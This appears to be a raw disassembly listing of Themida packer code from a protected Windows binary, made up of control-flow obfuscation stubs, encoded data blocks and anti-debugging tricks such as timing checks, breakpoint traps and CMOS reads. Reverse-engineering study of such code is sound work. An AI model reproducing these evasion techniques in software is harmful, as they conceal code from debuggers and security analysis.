dd 0A8F05199h, 2F65B529h
; ---------------------------------------------------------------------------
adc al, 6
pop edi
loc_58873F: ; CODE XREF: Themida_:00588606j
mov bx, ds
sub [ebp+6142F35h], ecx
test bl, 4
jz loc_5887C8
push 0
push ebx
call sub_58875C
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58875C proc near ; CODE XREF: Themida_:00588754p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_58875C endp
; ---------------------------------------------------------------------------
sub al, 0Fh
sbb [edx-388574h], ah
xchg eax, ebp
inc ebp
db 2Eh
adc al, 6
push 0
push esi
call sub_588784
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588784 proc near ; CODE XREF: Themida_:0058877Cp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_588784 endp
; ---------------------------------------------------------------------------
dd 7482DCBBh, 0D98D01E3h, 1061404h, 1402498Dh, 34BE9006h
dd 50213B55h, 7E8h, 0FCC62600h, 0DFAB1533h, 5E525250h
dd 585A310Fh, 0B589905Fh, 6142EA1h
; ---------------------------------------------------------------------------
loc_5887C8: ; CODE XREF: Themida_:0058874Bj
jmp loc_588C4E
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5887D8
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5887D8 proc near ; CODE XREF: Themida_:005887D0p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5887D8 endp
; ---------------------------------------------------------------------------
dd 0F1C0AB28h, 6890FFFh, 29000000h, 141C258Dh, 0F00B006h
dd 70E6F2BFh, 0AE9h, 0F7AE2800h, 3A247A13h, 0E483B848h
dd 56006A71h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 0B6800B92h, 475B501h, 0B60F0614h, 56006AD8h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 554D1FFDh, 9E72580Eh, 6880Fh, 0BD230000h, 6141631h
dd 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 0EB8B9C2Bh, 29FC60A2h, 1408DD95h
dd 0C38B6106h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 0EFC35747h, 66988F15h, 0E8C1F78Bh, 6890F04h, 2B000000h
dd 1425A1BDh, 0E2F76606h, 24058D89h, 0D82B0614h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 21C35242h, 0B45DAEAEh
dd 0BC24248Ch, 6890Fh, 0B5890000h, 6143161h, 14E950h, 0F1450000h
dd 74BD6BCAh, 0C8E845B4h, 8692A4E9h, 25646318h, 1C89DC4Ch
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 2F5534F5h, 2B0981BFh, 1406BDBDh, 0A5B5FF06h
dd 8B06141Ah, 14060DB5h, 6995FF06h, 6A061411h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 3DDFC351h, 2509BD8Bh, 0B00614h, 0E6F0BF0Fh, 0FA8B6670h
dd 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 0FFEA51C3h, 3CC989CAh, 9B830F61h, 6A000002h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 0B62DC355h, 0F0232BF7h, 2AAC7E0Ah, 6AD8B60Fh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 0E6CFC353h, 5E856h, 88B50000h, 5F4B2E35h
dd 6BAh, 199D2900h, 8B06142Eh, 3E3BFC3h, 0E8C17AD9h, 57006A04h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 4D860154h, 1371B50Bh, 0F7660614h, 55B529E2h, 2B061413h
dd 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 2D1E06CEh, 3723BF66h, 6A58F9h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0D82B32C3h
dd 1BC880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 0F60124C3h, 0B93454DAh, 7, 3071B58Bh
dd 0C1830614h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 0AE71E3C5h, 0BD89687Eh
dd 614090Dh, 860FD93Bh, 15Eh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 71C35343h, 5567911Fh, 95893A70h
dd 6140369h, 0B175BF66h, 89D98C66h, 14137195h, 4C1F606h
dd 118840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 0DD645BC3h, 81788433h, 187334D6h
dd 4595FF74h, 6A06142Eh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 8933C351h, 1406AD8Dh
dd 6A5B06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 0F7CA3C3h, 6AC32BE8h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 91FAC350h
dd 0D224874h, 0A9266CBFh, 14E843h, 72180000h, 4CCB185Eh
dd 0FF8FB20Ah, 12E4BD9h, 0F7E65ED8h, 0BD33F65Bh, 61404D1h
dd 8343D5Eh, 860F0000h, 56h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 8DC35545h, 25083EF6h, 2956A8E8h
dd 140E858Dh, 2FE95E06h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 60B0C351h
dd 89DED080h, 14116D8Dh, 0C08B6106h, 3FF6D681h
db 1Bh, 77h
; ---------------------------------------------------------------------------
loc_588C4E: ; CODE XREF: Themida_:loc_5887C8j
mov eax, ebx
mov ebx, eax
push 0
push edi
call sub_588C5D
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588C5D proc near ; CODE XREF: Themida_:00588C55p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_588C5D endp
; ---------------------------------------------------------------------------
sub ah, dl
sbb al, 93h
pop edi
sti
mov dword ptr [ebp+6140E2Dh], 3C7EB397h
push 0
push ecx
call sub_588C88
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588C88 proc near ; CODE XREF: Themida_:00588C80p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_588C88 endp
; ---------------------------------------------------------------------------
dd 0E19C0929h, 0C06AF1E5h, 781B50Bh, 0C08B0614h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 94C35646h, 0A1B0B1F2h
dd 38E64948h, 0A5BD814Fh, 0D006141Ah, 0F000007h, 3785h
dd 0FF5E5100h, 141AA585h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0CE924h, 0B07F0000h
dd 19E744Fh, 9C788CA8h, 0F18B4C06h, 1AA5B5FFh, 830F0614h
dd 6, 198DBD29h, 95FF0614h, 6141169h, 294D9D31h, 6A900614h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 59A3C351h, 108A0F45h, 60000000h, 810Fh, 0B30000h
dd 0D8D2961h, 0F061423h, 318Fh, 6880F00h, 8B000000h, 141471BDh
dd 14E806h, 0E45C0000h, 9D29BDBEh, 6BDD0CCDh, 560EAB3Eh
dd 5A68503Fh, 8166D467h, 0F98EEC6h, 80h, 0F78B5E00h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 86C35545h, 246DBD23h
dd 0B58B0614h, 614234Dh, 0CF5B589h, 6A0614h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 6DA388C3h
dd 664442DDh, 89EB8EBEh, 140CB5BDh, 0F1B52306h, 8B061402h
dd 1423A1B5h, 6AFB8B06h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 0A28DC350h, 0C1A11B6Fh
dd 9DBD8B83h, 8B06140Eh, 142B45B5h, 0E7816606h, 9FE9270Ch
dd 6AFFFFF7h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 0B7A5C350h, 0FD75EEBh, 0BD8BF21Dh
dd 6143225h, 0F18BC18Bh, 4EBh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0F0AA3C3h
dd 1AE8A716h, 2850F40h, 8B000000h, 0E98589F0h, 8D06141Bh
dd 140F9985h, 3EBF6606h, 5E89072h, 78000000h, 0A63430E0h
dd 505EF28Bh, 8B0Fh, 6A900000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 62A2C356h, 0CA38BB56h
dd 6A6DD7FCh, 0DD858900h, 6A06141Ah, 799D3100h, 8D061404h
dd 18044B85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 15520AECh, 0A9934614h, 0BE8h, 4B26A100h
dd 9A64423Dh, 0A934A9B3h, 2EC19D09h, 335F0614h, 141981B5h
dd 5C08306h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 5FC35343h, 50F28B90h, 0CE9h, 0C38C6100h, 0A32B775Dh
dd 36F75BA6h, 6A904Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 0BAC35141h, 0C63A4243h, 89FCD598h, 1404D185h
dd 8B006A06h, 7195FFF0h, 6A06141Ah, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 42D5C353h
dd 451DC80Ch, 8D066027h, 17A8FC9Dh, 3870F06h, 66000000h
dd 0D3FFF38Bh, 1C11BD8Bh, 85FF0614h, 614236Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1C35646h, 866BC567h
dd 0E86F1607h, 14h, 0E7FC7A7Bh, 675A107h, 0BB4F5D4Bh, 79B14D43h
dd 0A8E50E98h, 0BFDE8166h, 0EAE95FC2h, 0E8000007h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6180455h
push 0
push ebx
call sub_589046
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589046 proc near ; CODE XREF: Themida_:0058903Ep
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_589046 endp
; ---------------------------------------------------------------------------
shr byte ptr ds:0DD0CBE66h, 1
jnz loc_589069
and esi, 66855AE7h
loc_589069: ; CODE XREF: Themida_:0058905Dj
cmp dword ptr [ebp+6141AA5h], 7D0h
jbe loc_58919A
sub [ebp+614162Dh], eax
mov [ebp+61413A5h], edi
mov ebx, [ebp+61420B5h]
push 0
push edx
call sub_589096
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589096 proc near ; CODE XREF: Themida_:0058908Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_589096 endp
; ---------------------------------------------------------------------------
retn 1C40h
; ---------------------------------------------------------------------------
pop edi
mov edi, [ebp+6140835h]
and ebx, 100h
push 0
push edi
call sub_5890C1
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5890C1 proc near ; CODE XREF: Themida_:005890B9p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5890C1 endp
; ---------------------------------------------------------------------------
popf
jnz loc_5890DE
or edi, [ebp+61400FDh]
loc_5890DE: ; CODE XREF: Themida_:005890D2j
or ebx, ebx
jnz loc_589174
push 0
push eax
call sub_5890F1
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5890F1 proc near ; CODE XREF: Themida_:005890E9p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5890F1 endp
; ---------------------------------------------------------------------------
db 2Ch, 0C9h, 0E3h
; ---------------------------------------------------------------------------
sub [ebp+6140FC9h], ecx
cmp dword ptr [ebp+618028Fh], 0
jz loc_589141
mov si, 28CDh
jmp loc_58918A
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_58912B
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58912B proc near ; CODE XREF: Themida_:00589123p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_58912B endp
; ---------------------------------------------------------------------------
db 0E5h
dd 61F1EA4Bh
; ---------------------------------------------------------------------------
push esi
loc_589141: ; CODE XREF: Themida_:00589111j
mov dword ptr [ebp+618028Fh], 1
adc di, 9390h
jmp loc_58918A
; ---------------------------------------------------------------------------
push 0
push esi
call sub_589160
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589160 proc near ; CODE XREF: Themida_:00589158p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_589160 endp
; ---------------------------------------------------------------------------
dd 0D513C852h
; ---------------------------------------------------------------------------
loc_589174: ; CODE XREF: Themida_:005890E0j
mov dword ptr [ebp+618028Fh], 0
pusha
and ax, 54B1h
mov edi, 7DAD31EBh
popa
loc_58918A: ; CODE XREF: Themida_:0058911Bj
; Themida_:00589150j
lea ebx, [ebp+61420B5h]
mov di, 3D37h
and dword ptr [ebx], 0FFFFFEFFh
loc_58919A: ; CODE XREF: Themida_:00589073j
mov bx, ds
sbb si, 5E2Eh
test bl, 4
jz loc_589211
mov edi, 3EB92200h
call dword ptr [ebp+6142E45h]
push 0
push ebp
call sub_5891C1
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5891C1 proc near ; CODE XREF: Themida_:005891B9p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5891C1 endp
; ---------------------------------------------------------------------------
db 78h, 0E2h, 0D3h
; ---------------------------------------------------------------------------
std
lds ecx, [ecx+11958912h]
sbb al, 14h
push es
nop
mov di, 2C52h
push eax
pusha
jmp loc_5891F0
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
dd 33057974h
; ---------------------------------------------------------------------------
loc_5891F0: ; CODE XREF: Themida_:005891E5j
push eax
push edx
call near ptr loc_5891FF+1
push eax
mov bh, 0ACh
sub eax, 81810707h
loc_5891FF: ; CODE XREF: Themida_:005891F2p
jnp short loc_58925B
rdtsc
mov ax, 0A6A7h
pop edx
pop eax
popa
nop
xor esi, [ebp+614090Dh]
loc_589211: ; CODE XREF: Themida_:005891A5j
jmp loc_589630
; ---------------------------------------------------------------------------
adc esi, 4EB74469h
jg loc_589233
call loc_58922C
xor eax, 83FE8D16h
loc_58922C: ; CODE XREF: Themida_:00589222p
sub edi, [ebp+6140789h]
pop esi
loc_589233: ; CODE XREF: Themida_:0058921Cj
mov al, 0
push eax
jmp loc_589244
; ---------------------------------------------------------------------------
db 37h
dd 7AAF5353h, 208AA5B8h
; ---------------------------------------------------------------------------
loc_589244: ; CODE XREF: Themida_:00589236j
pop edi
out 70h, al ; CMOS Memory:
; used by real-time clock
sub [ebp+61424F5h], ecx
mov edi, esi
in al, 71h ; CMOS Memory
movsx edi, si
movzx ebx, al
push 0
push ecx
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_58925B: ; CODE XREF: Themida_:loc_5891FFj
add eax, [eax]
; ---------------------------------------------------------------------------
db 2 dup(0), 20h
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
pop ecx
mov [esp+4], ecx
add dword ptr [esp+4], 1Ah
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
pushf
sbb cl, ah
jnz short loc_5892BA
cmpsd
movaps oword ptr [ebp+61412C9h], xmm6
mov edx, 6
add [ebp+6142A15h], edi
mov eax, ebx
or [ebp+61422D5h], ebx
shr eax, 4
push 0
push edx
call sub_5892A0
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5892A0 proc near ; CODE XREF: Themida_:00589298p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5892A0 endp
; ---------------------------------------------------------------------------
dd 0B897909Ch, 9E858h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5892BA: ; CODE XREF: Themida_:00589275j
mov ds:1FF6EC19h, eax
int 3 ; Trap to Debugger
dec eax
or ah, [esi+1C998D29h]
adc al, 6
pop esi
mul dx
push 0
push esi
call sub_5892D8
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5892D8 proc near ; CODE XREF: Themida_:005892D0p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5892D8 endp
; ---------------------------------------------------------------------------
dd 0F23E2000h, 0C17DE923h, 6AD82B47h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0A385C351h
dd 6870F18h, 89000000h, 1423F99Dh, 0F2BF0F06h, 0AD73BF50h
dd 1C8969DDh, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 0BD8B6852h, 61415E9h, 1AA5B5FFh
dd 8F0F0614h, 0Ah, 5E9h, 0EA88300h, 9531BD75h, 614171Dh
dd 116995FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 0BD8BDBC3h, 6140ADDh, 858900B0h
dd 6140541h, 0BD8970E6h, 6141C91h, 0B70F71E4h, 0F613CF3h
dd 28383h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 0DFF79AF0h, 800FAD8Dh, 0
; ---------------------------------------------------------------------------
movzx ebx, al
push 0
push ebx
call sub_5893E2
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5893E2 proc near ; CODE XREF: Themida_:005893DAp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5893E2 endp
; ---------------------------------------------------------------------------
mov ah, 0C0h
pusha
jmp loc_589409
; ---------------------------------------------------------------------------
dw 28C4h
dd 7A437267h, 0FF9E2AF4h, 0F176641Eh
; ---------------------------------------------------------------------------
push ebp
loc_589409: ; CODE XREF: Themida_:005893F5j
popa
mov esi, edx
mov edx, 6
push 0
push eax
call sub_58941C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58941C proc near ; CODE XREF: Themida_:00589414p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_58941C endp
; ---------------------------------------------------------------------------
dd 3BF1C4F9h, 7B1918ECh, 0BD8B509Ch, 6141389h, 89C38B5Fh
dd 14159195h, 4E8C106h, 0CE9h, 4A2B4000h, 7AF8285Fh, 0DD9E18DBh
dd 0E2F76675h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 0F6C35747h, 0B58BD82Bh, 61416E1h, 0FD82B58h, 1A788h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 0BFD74FA9h, 12C52AF4h, 33EE8166h, 7B997h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 6D25FC3h, 30A1BD89h, 0C1830614h, 28E68100h
dd 17F917Dh, 141D419Dh, 0FD93B06h, 13F86h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0AA6880BDh, 96930519h, 8C666E11h, 798D29D9h, 0F6061419h
dd 840F04C1h, 0D1h, 7E9h, 0B50CA500h, 5F8F12ECh, 2E4595FFh
dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 5499C9C3h, 7762DDCDh, 0CE90EE6h, 58000000h
dd 3DCC4215h, 1EEEB8EDh, 0E80F8385h, 9, 47D8500Fh, 0DFBF8D11h
dd 5E5E5245h, 56006A5Bh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 33FA330Bh, 1C05B58Bh, 0C32B0614h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F4C35141h
dd 297F76BAh, 0AE857h, 471B0000h, 6DD9893Ah, 720457ABh
dd 5EFABF0Fh, 8343D5Eh, 860F0000h, 11h, 69DBD8Bh, 3DE90614h
dd 89000000h, 140B35BDh, 6AC08B06h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0E9C1C351h
dd 12h, 0B0B6ACAAh, 6DC4F5FCh, 0F229C8A8h, 440122F4h, 0FE8B200Fh
; ---------------------------------------------------------------------------
loc_589630: ; CODE XREF: Themida_:loc_589211j
mov eax, ebx
mov ebx, eax
push 0
push edi
call sub_58963F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58963F proc near ; CODE XREF: Themida_:00589637p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_58963F endp
; ---------------------------------------------------------------------------
cli
xchg eax, ebx
sbb eax, 0BD9589AEh
push es
adc al, 6
mov dword ptr [ebp+6142A05h], 3ACE5D33h
jnb loc_58966A
cld
loc_58966A: ; CODE XREF: Themida_:00589663j
mov eax, eax
mov esi, eax
mov edi, 227352B6h
cmp dword ptr [ebp+6141AA5h], 7D0h
jnz loc_5896B3
push 0
push esi
call sub_58968E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58968E proc near ; CODE XREF: Themida_:00589686p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_58968E endp
; ---------------------------------------------------------------------------
push esp
cmp eax, 4B77FDA5h
inc dword ptr [ebp+6141AA5h]
mov di, si
or [ebp+61404ADh], edx
loc_5896B3: ; CODE XREF: Themida_:0058967Dj
push dword ptr [ebp+6141AA5h]
or si, 3885h
call dword ptr [ebp+6141169h]
mov di, 0F2C2h
xor [ebp+614111Dh], edi
nop
jmp loc_5896E7
; ---------------------------------------------------------------------------
dd 3FA7F371h, 0C64E223Bh, 4746D054h, 82511B3Fh
db 17h, 6Dh, 69h
; ---------------------------------------------------------------------------
loc_5896E7: ; CODE XREF: Themida_:005896CFj
push 0
push eax
call sub_5896F2
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5896F2 proc near ; CODE XREF: Themida_:005896EAp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5896F2 endp
; ---------------------------------------------------------------------------
dw 0E11Bh
dd 0D8DCF92Ah, 7E99133h, 7D000000h, 4EE7E3Ch, 8B66E41Bh
dd 51006AF2h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 6637AFE6h, 9D29F08Bh, 6141505h, 11E9h, 0D843D800h
dd 5B0824C0h, 54AF8D81h, 0F57F720Bh, 6A71C5h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 88A82DC3h
dd 92654B8Eh, 6AA1689Dh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 5FF7C351h, 57006ABFh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 5E80D05h, 0AE000000h, 3EFF7E2Fh, 66F38B66h, 0BF5FF88Bh
dd 287D88E6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 0A0C35545h, 1FEFCFB3h, 899D50Fh, 0F839E936h, 6AFFFFh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 0C44F00C3h
; ---------------------------------------------------------------------------
jmp dword ptr [ecx+ebp*8]
; ---------------------------------------------------------------------------
loc_589817: ; DATA XREF: Themida_:0054B598o
cmp al, bh
mov eax, ecx
push 0
push ebx
call sub_589826
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589826 proc near ; CODE XREF: Themida_:0058981Ep
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_589826 endp
; ---------------------------------------------------------------------------
leave
or [esi-31h], al
fsubr dword ptr [ebx+ebp*8+4]
add [edx+0], ch
push edi
call sub_58984D
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58984D proc near ; CODE XREF: Themida_:00589845p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_58984D endp
; ---------------------------------------------------------------------------
db 1, 6Ch, 0ECh
dd 448AE17Bh, 0B531831Eh, 6141BFDh, 0F99858Dh, 6A0614h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 34FE84C3h, 236542C4h, 9076DE8Ah, 8B27BF66h, 0E1BF6650h
dd 13E99021h, 9C000000h, 6E620A9Ch, 0A310B152h, 0E6733075h
dd 18FCA532h, 6A3D09h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 70C35646h, 6BC78142h, 6A6019E8h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 0E8DA75EDh, 6, 14AEA7ACh, 6051EF41h, 0F5E5F61h, 487h
dd 6CBF6600h, 0F9B70F38h, 0EC0858Dh, 6A0618h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 42944FC3h
dd 0CD380415h, 3DDBD2Bh, 7E90614h, 63000000h, 29E5C9D6h
dd 0C08393D5h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 0E8AF35Eh, 0F902E07h
dd 81h, 52505000h, 12870Fh, 0DE90000h, 0A3000000h, 0F49F975Dh
dd 14DBB6F9h, 3EA10E7Ch, 0DE8310Fh, 0BC000000h, 8488EEBAh
dd 39173E3Fh, 0D6223FDh, 5A5F6160h, 6A9058h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 160424h, 50400000h, 178BE8C3h
dd 5EFB8B52h, 7E951h, 6D520000h, 0DF537B6h, 6A5EAAh, 6D3ABE66h
dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 246C19C3h, 0B6D8E904h, 7195FF74h, 0F06141Ah
dd 68Ah, 91B58B00h, 0F061407h, 686h, 3DBD8B00h, 8D061426h
dd 17A8FC9Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 66DD1830h, 8CD1F681h, 6AD3FFh, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 391589C3h, 87C41763h, 68B0Fh, 0BD8B0000h, 6141A11h
dd 236D85FFh, 8B660614h, 8870FF8h, 51000000h, 2EB9B589h
dd 0E95E0614h, 79Dh, 0E8h, 0ED815D00h, 6180ECAh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 16C35747h, 7983EFC3h
dd 0F42A12Ah, 0A88h, 5E900h, 0E6350000h, 81CA5FDCh, 141AA5BDh
dd 7D006h, 89860F00h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 0F945C355h, 0B601E485h
dd 8D0105B3h, 61410A9h, 5EDB58Bh, 9D8B0614h, 6141AF9h
dd 0E381F78Bh, 100h, 1A19B58Bh, 0DB0B0614h, 0A9850Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 0BEA343C3h, 0B5BD8B62h, 8306141Ah, 180C5FBDh, 840F0006h
dd 2Dh, 10E9h, 0B14D4300h, 0E50E9879h, 0C459F0A8h, 1F07F551h
dd 9FE9D7h, 0EE90000h, 19000000h, 0C12FF7EAh, 0BBC16901h
dd 0FE63EACDh, 5F85C799h, 106180Ch, 0F000000h, 481h, 80BE6600h
dd 73E9CBh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 39985AC3h, 519D0908h, 0F061425h
dd 68Bh, 81BD2B00h, 0C7061429h, 180C5F85h, 6, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 969B90F0h, 55E7EAE9h, 10E9h, 2FF0AE00h, 0EF489720h
